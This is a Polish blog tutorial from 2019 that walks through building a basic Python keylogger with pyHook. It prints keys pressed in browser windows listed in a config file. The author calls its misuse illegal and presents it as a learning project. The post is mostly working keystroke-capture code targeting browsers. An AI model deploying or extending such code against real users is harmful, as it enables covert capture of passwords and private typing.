18 stycznia 2019

Tworzymy Keylogger ver. 1

Hej, postanowiłem ostatnio rzucić znowu okiem na pythona. Pomijając fakt jak źle brzmi to pierwsze zdanie, przejdę od razu do rzeczy. W pythonie za pomocą bardzo pomocnych bibliotek, można bardzo wiele zdziałać. Ja w tym wpisie postanowiłem wziąć się za pyHook i wykonać prostacką wersję keyloggera.

Na wstępie czuje się zobowiązany do tego, aby powiadomić czytelnika że ta wersja keyloggera nie będzie się nadawała do wysłania koledze z dopiskiem:
„Ej stary, zobacz sobie świetną galerię gołych bab, nie zważaj na to, że jest tam rozszerzenie exe, to dla niepoznaki”.

Pierwsza kwestia, nie ładnie jest wysyłać kolegą keyloggera.
Druga kwestia, to jest nielegalne.
Trzecia kwestia, keylogger który napiszemy jest na tyle prymitywny że nadaje się tylko i aż do nauki pythona, bowiem stanowi świetną bazę do rozwoju programu o nowe funkcje. Natomiast nie nadaje się do celów wyżej opisanych.

Zaczynamy

Tworzymy plik start.py, w nim wpisujemy:

import pythoncom, pyHook
import KeyLog

hm = pyHook.HookManager()
K = KeyLog.KeyLogger()
hm.KeyDown = K.echo

hm.HookKeyboard()

pythoncom.PumpMessages()

Plik KeyLog.py stworzymy za chwilę, na razie go nie ma, więc interpreter będzie krzyczał błędem.

Tworzeniem obiektów wyżej opisanych nie będę się zajmował gdyż nie zamierzam tutaj opisywać podstaw programowania 😉

Tworzymy plik KeyLog.py

Jak zauważyłeś wyżej, potrzebować będziemy klasę KeyLogger, a w niej metodę echo.

def echo(self, event):
        patternProgramName = self.getProgramsName()

        for key, programName in patternProgramName:
            if(self.interestingProgram(programName, event.WindowName)):
                print('Odnotowano Key:', event.Key)

        return True

Na początku metody „echo” pobieramy listę programów w których chcemy nasłuchiwać. Następnie dajemy pętle for po nazwach programów które zwróciła nam metoda „getProgramsName”. Jeśli wewnątrz pętli z metody „interestingProgram” zwrot będzie „True”, wyświetlamy w konsoli informację który klawisz został wciśnięty.

Po kolei, metoda „getProgramsName” wygląda tak:

def getProgramsName(self):
        config = ConfigIni.GetConfiguration()
        return config.getItems('Windows')

Więc, zwracamy listę wszystkich elementów w sekcji „Windows”. Elementami w sekcji „Windows” są nazwy programów, poniżej przykład pliku konfiguracyjnego:

[Windows]
Window1 = "Firefox"
Window2 = "Chrome"

Okej, ale w metodzie „getProgramsName” odwołujemy się do jeszcze jednej klasy! Tym zajmiemy się później, na razie ustalmy że w return mamy listę programów.

Metoda „interestingProgram”:

def interestingProgram(self, name, pattern):
        name = str(name).upper()
        name = name.replace('"', "");

        pattern = pattern.upper()
        result = pattern.find(name)

        if(result != -1):
            return True
        else:
            return False

Nazwy programów powinny być z samych dużych liter. Nie powinny mieć w sobie znaków ” (cudzysłów). Do tej postaci sprowadzamy nazwę która jest przekazana w parametrze.

No i jedna ważna rzecz. Title okna w którym będziemy nasłuchiwać może się dynamicznie zmieniać. Przykładowo wchodząc na youtube w przeglądarce firefox, nazwa programu będzie nazywać się mniej więcej tak: „Youtube – Mozilla Firefox”.
Wiadomo że nie damy rady wpisywać wszystkich możliwych wariantów do pliku konfiguracyjnego, więc w pliku config.ini wpisałem tylko „firefox”.

W pythonie nie użyłem porównania „==” tylko szukam w stringu wystąpienia klucza. Jeśli użytkownik aktualnie ma aktywne okno w którego nazwie znajduje się słowo „Firefox” (przykładowo: Wyszukiwarka Google: Mozilla Firefox) , funkcja zwróci True.

ConfigIni.py

Kolejnym plikiem będzie „ConfigIni.py”, a służyć będzie do parsowania pliku konfiguracyjnego. Właśnie z klasy wewnątrz tego pliku korzysta metoda „getProgramsName”:

import configparser

class GetConfiguration:

    def initFile(self):
        config = configparser.ConfigParser()
        config.read('config.ini')
        return config

    def getItems(self, section):
        config = self.initFile()
        return config.items(section)

Za pomocą biblioteki „configparser” parsujemy plik konfiguracyjny.

Pierwszą metodą jest „initFile”, musimy w niej wskazać bibliotece jak nazywa się nasz plik który chcemy przeczytać i wrzucić do zmiennej „config”.

W metodzie „getItems” zwracamy wszystkie elementy z pliku konfiguracyjnego o nazwie „section”.

Podsumowanie

Jak pisałem na wstępie, tak samo napiszę w podsumowaniu. Keylogger jest tylko przykładem co można wykonać w pythonie, dodatkowo niedużym nakładem sił. Dodatkowo, jest to tylko pierwsza część tutoriala, gdyż zamierzam keylogger rozbudować niebawem.

Teraz łapcie link do repo: https://github.com/rafaldanis/keylogger_ver1